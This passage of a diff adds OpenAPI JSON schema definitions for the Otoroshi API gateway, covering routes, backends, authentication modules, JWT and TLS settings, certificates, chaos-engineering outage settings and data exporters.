"exportReporting", "groups", "routes", "client", "plugins" ] + }, + "oauth1providerget" : { + "type" : "object", + "properties" : { }, + "title" : "O auth1 provider get" + }, + "dataexporterconfigtypefile" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type file" + }, + "rulestate" : { + "type" : "object", + "properties" : { + "id" : { + "$ref" : "#/components/schemas/ruleid" + }, + "enabled" : { + "type" : "boolean" + } + }, + "title" : "Rule state", + "required" : [ "id", "enabled" ] + }, + "otoroshi.models.SnowMonkeyConfig" : { + "type" : "object", + "description" : "Settings for the snow monkey (chaos engineering)", + "properties" : { + "dryRun" : { + "type" : "boolean", + "description" : "Whether or not outages will actualy impact requests" + }, + "outageDurationTo" : { + "type" : "number", + "description" : "End of outage duration range" + }, + "chaosConfig" : { + "$ref" : "#/components/schemas/otoroshi.models.ChaosConfig", + "description" : "Chaos settings" + }, + "timesPerDay" : { + "type" : "integer", + "format" : "int32", + "description" : "Number of time per day each service will be outage" + }, + "outageDurationFrom" : { + "type" : "number", + "description" : "Start of outage duration range" + }, + "startTime" : { + "type" : "string", + "description" : "Start time of Snow Monkey each day" + }, + "includeUserFacingDescriptors" : { + "type" : "boolean", + "description" : "Whether or not user facing apps. will be impacted by Snow Monkey" + }, + "targetGroups" : { + "type" : "array", + "items" : { + "type" : "string" + }, + "description" : "Groups impacted by Snow Monkey. If empty, all groups will be impacted" + }, + "enabled" : { + "type" : "boolean", + "description" : "Whether or not this config is enabled" + }, + "stopTime" : { + "type" : "string", + "description" : "Stop time of Snow Monkey each day" + }, + "outageStrategy" : { + "$ref" : "#/components/schemas/outagestrategy", + "description" : "" + } + } + }, + "jwksalgosettings" : { + "type" : "object", + "properties" : { + "url" : { + "type" : "string", + "minLength" : 1 + }, + "headers" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "timeout" : { + "$ref" : "#/components/schemas/finiteduration" + }, + "ttl" : { + "$ref" : "#/components/schemas/finiteduration" + }, + "kty" : { + "$ref" : "#/components/schemas/keytype" + }, + "proxy" : { + "$ref" : "#/components/schemas/wsproxyserver" + }, + "tlsConfig" : { + "$ref" : "#/components/schemas/mtlsconfig" + } + }, + "title" : "J w k s algo settings", + "required" : [ "url", "headers", "timeout", "ttl", "kty", "tlsConfig" ] + }, + "samlprotocolbindingredirect" : { + "type" : "object", + "properties" : { }, + "title" : "S a m l protocol binding redirect" + }, + "triplebounds" : { + "type" : "object", + "properties" : { + "excellent" : { + "type" : "number" + }, + "sufficient" : { + "type" : "number" + }, + "poor" : { + "type" : "number" + } + }, + "title" : "Triple bounds", + "required" : [ "excellent", "sufficient", "poor" ] + }, + "rackmatch" : { + "type" : "object", + "properties" : { + "rack" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Rack match", + "required" : [ "rack" ] + }, + "oauth1provider" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/oauth1providerget" + }, { + "$ref" : "#/components/schemas/oauth1providerpost" + } ] + }, + "otoroshi.ssl.pki.models.SignCertResponse" : { + "type" : "object", + "description" : "Response for a certificate signing operation", + "properties" : { + "cert" : { + "type" : "string", + "description" : "Cert (PEM encoded)" + }, + "csr" : { + "type" : "string", + "description" : "CSR (PEM encoded)" + }, + "ca" : { + "oneOf" : [ { + "type" : "string", + "nullable" : true, + "description" : "null type" + }, { + "type" : "string", + "description" : "pem encoded X509 certificate" + } ], + "description" : "Ca cert (PEM encoded)" + } + } + }, + "jwtverifier" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/globaljwtverifier" + }, { + "$ref" : "#/components/schemas/localjwtverifier" + }, { + "$ref" : "#/components/schemas/refjwtverifier" + } ] + }, + "goreplayfilesettings" : { + "type" : "object", + "properties" : { + "path" : { + "type" : "string", + "minLength" : 1 + }, + "maxFileSize" : { + "type" : "number" + }, + "captureRequests" : { + "type" : "boolean" + }, + "captureResponses" : { + "type" : "boolean" + }, + "preferBackendRequest" : { + "type" : "boolean" + }, + "preferBackendResponse" : { + "type" : "boolean" + }, + "methods" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Go replay file settings", + "required" : [ "path", "maxFileSize", "captureRequests", "captureResponses", "preferBackendRequest", "preferBackendResponse", "methods" ] + }, + "samlsignaturealgorithmdsa_sha1" : { + "type" : "object", + "properties" : { }, + "title" : "S a m l signature algorithm d s a-s h a1" + }, + "ngbackend" : { + "type" : "object", + "properties" : { + "targets" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ngtarget" + } + }, + "root" : { + "type" : "string", + "minLength" : 1 + }, + "rewrite" : { + "type" : "boolean" + }, + "loadBalancing" : { + "$ref" : "#/components/schemas/loadbalancing" + }, + "healthCheck" : { + "$ref" : "#/components/schemas/healthcheck" + }, + "client" : { + "$ref" : "#/components/schemas/ngclientconfig" + } + }, + "title" : "Ng backend", + "required" : [ "targets", "root", "rewrite", "loadBalancing", "client" ] + }, + "wasmauthmoduleconfig" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "sessionMaxAge" : { + "type" : "number" + }, + "clientSideSessionEnabled" : { + "type" : "boolean" + }, + "sessionCookieValues" : { + "$ref" : "#/components/schemas/sessioncookievalues" + }, + "userValidators" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonpathvalidator" + } + }, + "wasmRef" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Wasm auth module config", + "required" : [ "location", "id", "name", "description", "tags", "metadata", "sessionMaxAge", "clientSideSessionEnabled", "sessionCookieValues", "userValidators" ] + }, + "hsalgosettings" : { + "type" : "object", + "properties" : { + "size" : { + "type" : "number" + }, + "secret" : { + "type" : "string", + "minLength" : 1 + }, + "base64" : { + "type" : "boolean" + } + }, + "title" : "H s algo settings", + "required" : [ "size", "secret", "base64" ] + }, + "pki.otoroshi.io.Certificate" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "chain" : { + "type" : "string", + "minLength" : 1 + }, + "privateKey" : { + "type" : "string", + "minLength" : 1 + }, + "caRef" : { + "type" : "string", + "minLength" : 1 + }, + "domain" : { + "type" : "string", + "minLength" : 1 + }, + "selfSigned" : { + "type" : "boolean" + }, + "ca" : { + "type" : "boolean" + }, + "valid" : { + "type" : "boolean" + }, + "exposed" : { + "type" : "boolean" + }, + "revoked" : { + "type" : "boolean" + }, + "autoRenew" : { + "type" : "boolean" + }, + "letsEncrypt" : { + "type" : "boolean" + }, + "client" : { + "type" : "boolean" + }, + "keypair" : { + "type" : "boolean" + }, + "subject" : { + "type" : "string", + "minLength" : 1 + }, + "from" : { + "type" : "string", + "format" : "date" + }, + "to" : { + "type" : "string", + "format" : "date" + }, + "sans" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "entityMetadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "password" : { + "type" : "string", + "minLength" : 1 + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Cert", + "required" : [ "id", "name", "description", "chain", "privateKey", "domain", "selfSigned", "ca", "valid", "exposed", "revoked", "autoRenew", "letsEncrypt", "client", "keypair", "subject", "from", "to", "sans", "entityMetadata", "tags", "location" ] + }, + "dataexporterconfigtypemailer" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type mailer" + }, + "verificationsettings" : { + "type" : "object", + "properties" : { + "fields" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "arrayFields" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Verification settings", + "required" : [ "fields", "arrayFields" ] + }, + "wsproxyserver" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/defaultwsproxyserver" + } ] + }, + "goreplays3settings" : { + "type" : "object", + "properties" : { + "s3" : { + "$ref" : "#/components/schemas/s3configuration" + }, + "maxFileSize" : { + "type" : "number" + }, + "captureRequests" : { + "type" : "boolean" + }, + "captureResponses" : { + "type" : "boolean" + }, + "preferBackendRequest" : { + "type" : "boolean" + }, + "preferBackendResponse" : { + "type" : "boolean" + }, + "methods" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Go replay s3 settings", + "required" : [ "s3", "maxFileSize", "captureRequests", "captureResponses", "preferBackendRequest", "preferBackendResponse", "methods" ] + }, + "jwtauthconstraints" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "secretSigned" : { + "type" : "boolean" + }, + "keyPairSigned" : { + "type" : "boolean" + }, + "includeRequestAttributes" : { + "type" : "boolean" + }, + "maxJwtLifespanSecs" : { + "type" : "number" + }, + "headerName" : { + "type" : "string", + "minLength" : 1 + }, + "queryName" : { + "type" : "string", + "minLength" : 1 + }, + "cookieName" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Jwt auth constraints", + "required" : [ "enabled", "secretSigned", "keyPairSigned", "includeRequestAttributes" ] + }, + "ipaddresshash" : { + "type" : "object", + "properties" : { }, + "title" : "Ip address hash" + }, + "seccominfotokenversion" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/seccominfotokenversionlatest" + }, { + "$ref" : "#/components/schemas/seccominfotokenversionlegacy" + } ] + }, + "verifierstrategy" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/defaulttoken" + }, { + "$ref" : "#/components/schemas/passthrough" + }, { + "$ref" : "#/components/schemas/sign" + }, { + "$ref" : "#/components/schemas/transform" + } ] + }, + "roundrobin" : { + "type" : "object", + "properties" : { }, + "title" : "Round robin" + }, + "ngclientconfig" : { + "type" : "object", + "properties" : { + "retries" : { + "type" : "number" + }, + "maxErrors" : { + "type" : "number" + }, + "retryInitialDelay" : { + "type" : "number" + }, + "backoffFactor" : { + "type" : "number" + }, + "connectionTimeout" : { + "type" : "number" + }, + "idleTimeout" : { + "type" : "number" + }, + "callAndStreamTimeout" : { + "type" : "number" + }, + "callTimeout" : { + "type" : "number" + }, + "globalTimeout" : { + "type" : "number" + }, + "sampleInterval" : { + "type" : "number" + }, + "proxy" : { + "$ref" : "#/components/schemas/wsproxyserver" + }, + "customTimeouts" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/ngcustomtimeouts" + } + }, + "cacheConnectionSettings" : { + "$ref" : "#/components/schemas/ngcacheconnectionsettings" + } + }, + "title" : "Ng client config", + "required" : [ "retries", "maxErrors", "retryInitialDelay", "backoffFactor", "connectionTimeout", "idleTimeout", "callAndStreamTimeout", "callTimeout", "globalTimeout", "sampleInterval", "customTimeouts", "cacheConnectionSettings" ] + }, + "ngcacheconnectionsettings" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "queueSize" : { + "type" : "number" + }, + "strategy" : { + "$ref" : "#/components/schemas/ngoverflowstrategy" + } + }, + "title" : "Ng cache connection settings", + "required" : [ "enabled", "queueSize", "strategy" ] + }, + "OutagesList" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/otoroshi.models.Outage" + } + }, + "security.otoroshi.io.SimpleAdminUser" : { + "type" : "object", + "properties" : { + "username" : { + "type" : "string", + "minLength" : 1 + }, + "password" : { + "type" : "string", + "minLength" : 1 + }, + "label" : { + "type" : "string", + "minLength" : 1 + }, + "createdAt" : { + "type" : "string", + "format" : "date" + }, + "typ" : { + "$ref" : "#/components/schemas/otoroshiadmintype" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "rights" : { + "$ref" : "#/components/schemas/userrights" + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "adminEntityValidators" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonvalidator" + } + } + } + } + }, + "title" : "Simple otoroshi admin", + "required" : [ "username", "password", "label", "createdAt", "typ", "tags", "metadata", "rights", "location", "adminEntityValidators" ] + }, + "otoroshiadmintype" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/otoroshiadmintypesimpleadmin" + }, { + "$ref" : "#/components/schemas/otoroshiadmintypewebauthnadmin" + } ] + }, + "seccominfotokenversionlatest" : { + "type" : "object", + "properties" : { }, + "title" : "Sec com info token version latest" + }, + "customtimeouts" : { + "type" : "object", + "properties" : { + "path" : { + "type" : "string", + "minLength" : 1 + }, + "connectionTimeout" : { + "type" : "number" + }, + "idleTimeout" : { + "type" : "number" + }, + "callAndStreamTimeout" : { + "type" : "number" + }, + "callTimeout" : { + "type" : "number" + }, + "globalTimeout" : { + "type" : "number" + } + }, + "title" : "Custom timeouts", + "required" : [ "path", "connectionTimeout", "idleTimeout", "callAndStreamTimeout", "callTimeout", "globalTimeout" ] + }, + "dropbufferngoverflowstrategy" : { + "type" : "object", + "properties" : { }, + "title" : "Drop buffer ng overflow strategy" + }, + "tenantaccess" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "string", + "minLength" : 1 + }, + "canRead" : { + "type" : "boolean" + }, + "canWrite" : { + "type" : "boolean" + } + }, + "title" : "Tenant access", + "required" : [ "value", "canRead", "canWrite" ] + }, + "proxy.otoroshi.io.Route" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "enabled" : { + "type" : "boolean" + }, + "debugFlow" : { + "type" : "boolean" + }, + "capture" : { + "type" : "boolean" + }, + "exportReporting" : { + "type" : "boolean" + }, + "groups" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "frontend" : { + "$ref" : "#/components/schemas/ngfrontend" + }, + "backend" : { + "$ref" : "#/components/schemas/ngbackend" + }, + "backendRef" : { + "type" : "string", + "minLength" : 1 + }, + "plugins" : { + "$ref" : "#/components/schemas/ngplugins" + } + }, + "title" : "Ng route", + "required" : [ "location", "id", "name", "description", "tags", "metadata", "enabled", "debugFlow", "capture", "exportReporting", "groups", "frontend", "backend", "plugins" ] + }, + "basicauthmoduleconfig" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "users" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/basicauthuser" + } + }, + "clientSideSessionEnabled" : { + "type" : "boolean" + }, + "sessionMaxAge" : { + "type" : "number" + }, + "userValidators" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonpathvalidator" + } + }, + "basicAuth" : { + "type" : "boolean" + }, + "webauthn" : { + "type" : "boolean" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "sessionCookieValues" : { + "$ref" : "#/components/schemas/sessioncookievalues" + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Basic auth module config", + "required" : [ "id", "name", "desc", "users", "clientSideSessionEnabled", "sessionMaxAge", "userValidators", "basicAuth", "webauthn", "tags", "metadata", "sessionCookieValues", "location" ] + }, + "gzipconfig" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "excludedPatterns" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "whiteList" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "blackList" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "bufferSize" : { + "type" : "number" + }, + "chunkedThreshold" : { + "type" : "number" + }, + "compressionLevel" : { + "type" : "number" + } + }, + "title" : "Gzip config", + "required" : [ "enabled", "excludedPatterns", "whiteList", "blackList", "bufferSize", "chunkedThreshold", "compressionLevel" ] + }, + "samlprotocolbinding" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/samlprotocolbindingpost" + }, { + "$ref" : "#/components/schemas/samlprotocolbindingredirect" + } ] + }, + "opapluginvalidator" : { + "type" : "object", + "properties" : { + "ref" : { + "type" : "string", + "minLength" : 1 + }, + "error" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Opa plugin validator", + "required" : [ "ref" ] + }, + "noneexporter" : { + "type" : "object", + "properties" : { }, + "title" : "None exporter" + }, + "apikeyrotation" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "rotationEvery" : { + "type" : "number" + }, + "gracePeriod" : { + "type" : "number" + }, + "nextSecret" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Api key rotation", + "required" : [ "enabled", "rotationEvery", "gracePeriod" ] + }, + "apikeyroutematcher" : { + "type" : "object", + "properties" : { + "noneTagIn" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "oneTagIn" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "allTagsIn" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "noneMetaIn" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "oneMetaIn" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "allMetaIn" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "noneMetaKeysIn" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "oneMetaKeyIn" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "allMetaKeysIn" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Api key route matcher", + "required" : [ "noneTagIn", "oneTagIn", "allTagsIn", "noneMetaIn", "oneMetaIn", "allMetaIn", "noneMetaKeysIn", "oneMetaKeyIn", "allMetaKeysIn" ] + }, + "badresponsesfaultconfig" : { + "type" : "object", + "properties" : { + "ratio" : { + "type" : "number" + }, + "responses" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/badresponse" + } + } + }, + "title" : "Bad responses fault config", + "required" : [ "ratio", "responses" ] + }, + "samlcredentials" : { + "type" : "object", + "properties" : { + "signingKey" : { + "$ref" : "#/components/schemas/credential" + }, + "encryptionKey" : { + "$ref" : "#/components/schemas/credential" + }, + "signedDocuments" : { + "type" : "boolean" + }, + "encryptedAssertions" : { + "type" : "boolean" + } + }, + "title" : "S a m l credentials", + "required" : [ "signingKey", "encryptionKey", "signedDocuments", "encryptedAssertions" ] + }, + "ngtlsconfig" : { + "type" : "object", + "properties" : { + "certs" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "trustedCerts" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "enabled" : { + "type" : "boolean" + }, + "loose" : { + "type" : "boolean" + }, + "trustAll" : { + "type" : "boolean" + } + }, + "title" : "Ng tls config", + "required" : [ "certs", "trustedCerts", "enabled", "loose", "trustAll" ] + }, + "samlprotocolbindingpost" : { + "type" : "object", + "properties" : { }, + "title" : "S a m l protocol binding post" + }, + "config.otoroshi.io.GlobalConfig" : { + "type" : "object", + "description" : "A resource of kind GlobalConfig" + }, + "seccomversion" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/seccomversionv1" + }, { + "$ref" : "#/components/schemas/seccomversionv2" + } ] + }, + "finiteduration" : { + "type" : "object", + "properties" : { + "length" : { + "type" : "number" + }, + "unit" : { + "$ref" : "#/components/schemas/timeunit" + } + }, + "title" : "Finite duration", + "required" : [ "length", "unit" ] + }, + "clientidauthconstraints" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "headerName" : { + "type" : "string", + "minLength" : 1 + }, + "queryName" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Client id auth constraints", + "required" : [ "enabled" ] + }, + "tcptarget" : { + "type" : "object", + "properties" : { + "host" : { + "type" : "string", + "minLength" : 1 + }, + "ip" : { + "type" : "string", + "minLength" : 1 + }, + "port" : { + "type" : "number" + }, + "tls" : { + "type" : "boolean" + } + }, + "title" : "Tcp target", + "required" : [ "host", "port", "tls" ] + }, + "ngdomainandpath" : { + "type" : "object", + "properties" : { + "raw" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Ng domain and path", + "required" : [ "raw" ] + }, + "proxy.otoroshi.io.TcpService" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "enabled" : { + "type" : "boolean" + }, + "tls" : { + "$ref" : "#/components/schemas/tlsmode" + }, + "sni" : { + "$ref" : "#/components/schemas/snisettings" + }, + "clientAuth" : { + "$ref" : "#/components/schemas/clientauth" + }, + "port" : { + "type" : "number" + }, + "interface" : { + "type" : "string", + "minLength" : 1 + }, + "rules" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/tcprule" + } + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + } + }, + "title" : "Tcp service", + "required" : [ "id", "name", "description", "enabled", "tls", "sni", "clientAuth", "port", "interface", "rules", "tags", "metadata", "location" ] + }, + "ngoverflowstrategy" : { + "anyOf" : [ { + "$ref" : "#/components/schemas/backpressurengoverflowstrategy" + }, { + "$ref" : "#/components/schemas/dropbufferngoverflowstrategy" + }, { + "$ref" : "#/components/schemas/dropheadngoverflowstrategy" + }, { + "$ref" : "#/components/schemas/dropnewngoverflowstrategy" + }, { + "$ref" : "#/components/schemas/droptailngoverflowstrategy" + }, { + "$ref" : "#/components/schemas/failngoverflowstrategy" + } ] + }, + "bestresponsetime" : { + "type" : "object", + "properties" : { }, + "title" : "Best response time" + }, + "restrictions" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "allowLast" : { + "type" : "boolean" + }, + "allowed" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/restrictionpath" + } + }, + "forbidden" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/restrictionpath" + } + }, + "notFound" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/restrictionpath" + } + } + }, + "title" : "Restrictions", + "required" : [ "enabled", "allowLast", "allowed", "forbidden", "notFound" ] + }, + "datacentermatch" : { + "type" : "object", + "properties" : { + "dc" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Data center match", + "required" : [ "dc" ] + }, + "dataexporterconfigtypecustommetrics" : { + "type" : "object", + "properties" : { }, + "title" : "Data exporter config type custom metrics" + }, + "tenantid" : { + "type" : "object", + "properties" : { + "rawValue" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Tenant id", + "required" : [ "rawValue" ] + }, + "ipfiltering" : { + "type" : "object", + "properties" : { + "whitelist" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "blacklist" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "title" : "Ip filtering", + "required" : [ "whitelist", "blacklist" ] + }, + "routecompositionidentifier" : { + "type" : "object", + "properties" : { + "id" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Route composition identifier", + "required" : [ "id" ] + }, + "PatchBody" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/PatchDocument" + } + }, + "alwaysmatch" : { + "type" : "object", + "properties" : { }, + "title" : "Always match" + }, + "samlcanocalizationmethodexclusive" : { + "type" : "object", + "properties" : { }, + "title" : "S a m l canocalization method exclusive" + }, + "metricssettings" : { + "type" : "object", + "properties" : { + "labels" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + }, + "title" : "Metrics settings", + "required" : [ "labels" ] + }, + "rulestaterecord" : { + "type" : "object", + "properties" : { + "date" : { + "type" : "number" + }, + "states" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/rulestate" + } + } + }, + "title" : "Rule state record", + "required" : [ "date", "states" ] + }, + "ruleid" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Rule id", + "required" : [ "value" ] + }, + "basicauthuser" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + }, + "password" : { + "type" : "string", + "minLength" : 1 + }, + "email" : { + "type" : "string", + "minLength" : 1 + }, + "webauthn" : { + "$ref" : "#/components/schemas/webauthndetails" + }, + "metadata" : { + "$ref" : "#/components/schemas/jsobject" + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "rights" : { + "$ref" : "#/components/schemas/userrights" + }, + "adminEntityValidators" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/jsonvalidator" + } + } + } + } + }, + "title" : "Basic auth user", + "required" : [ "name", "password", "email", "metadata", "tags", "rights", "adminEntityValidators" ] + }, + "rsakpalgosettings" : { + "type" : "object", + "properties" : { + "size" : { + "type" : "number" + }, + "certId" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "R s a k p algo settings", + "required" : [ "size", "certId" ] + }, + "events.otoroshi.io.DateExporter" : { + "type" : "object", + "properties" : { + "enabled" : { + "type" : "boolean" + }, + "typ" : { + "$ref" : "#/components/schemas/dataexporterconfigtype" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "desc" : { + "type" : "string", + "minLength" : 1 + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "bufferSize" : { + "type" : "number" + }, + "jsonWorkers" : { + "type" : "number" + }, + "sendWorkers" : { + "type" : "number" + }, + "groupSize" : { + "type" : "number" + }, + "groupDuration" : { + "$ref" : "#/components/schemas/finiteduration" + }, + "filtering" : { + "$ref" : "#/components/schemas/dataexporterconfigfiltering" + }, + "projection" : { + "$ref" : "#/components/schemas/jsobject" + }, + "config" : { + "$ref" : "#/components/schemas/exporter" + } + }, + "title" : "Data exporter config", + "required" : [ "enabled", "typ", "id", "name", "desc", "metadata", "tags", "location", "bufferSize", "jsonWorkers", "sendWorkers", "groupSize", "groupDuration", "filtering", "projection", "config" ] + }, + "ngminimalroute" : { + "type" : "object", + "properties" : { + "frontend" : { + "$ref" : "#/components/schemas/ngfrontend" + }, + "backend" : { + "$ref" : "#/components/schemas/ngminimalbackend" + }, + "backendRef" : { + "type" : "string", + "minLength" : 1 + }, + "overridePlugins" : { + "type" : "boolean" + }, + "plugins" : { + "$ref" : "#/components/schemas/ngplugins" + } + }, + "title" : "Ng minimal route", + "required" : [ "frontend", "backend", "overridePlugins", "plugins" ] + }, + "oauth1providerpost" : { + "type" : "object", + "properties" : { }, + "title" : "O auth1 provider post" + }, + "infraprovidermatch" : { + "type" : "object", + "properties" : { + "provider" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Infra provider match", + "required" : [ "provider" ] + }, + "indexsettings" : { + "type" : "object", + "properties" : { + "clientSide" : { + "type" : "boolean" + }, + "numberOfShards" : { + "type" : "number" + }, + "numberOfReplicas" : { + "type" : "number" + }, + "interval" : { + "$ref" : "#/components/schemas/indexsettingsinterval" + } + }, + "title" : "Index settings", + "required" : [ "clientSide", "numberOfShards", "numberOfReplicas", "interval" ] + }, + "indexsettingsintervalweek" : { + "type" : "object", + "properties" : { + "name" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Index settings interval week", + "required" : [ "name" ] + }, + "timeunit" : { + "type" : "object", + "properties" : { }, + "title" : "Time unit" + }, + "httpprotocol" : { + "type" : "object", + "properties" : { + "value" : { + "type" : "string", + "minLength" : 1 + } + }, + "title" : "Http protocol", + "required" : [ "value" ] + }, + "foo.extensions.otoroshi.io.Foo" : { + "type" : "object", + "properties" : { + "location" : { + "$ref" : "#/components/schemas/entitylocation" + }, + "id" : { + "type" : "string", + "minLength" : 1 + }, + "name" : { + "type" : "string", + "minLength" : 1 + }, + "description" : { + "type" : "string", + "minLength" : 1 + }, + "tags" : { + "type" : "array", + "items" : { + "type" : "string", + "minLength" : 1 + } + }, + "metadata" : { + "type" : "object", + "patternProperties" : { + ".*" : { + "type" : "string", + "minLength" : 1 + } + } + } + 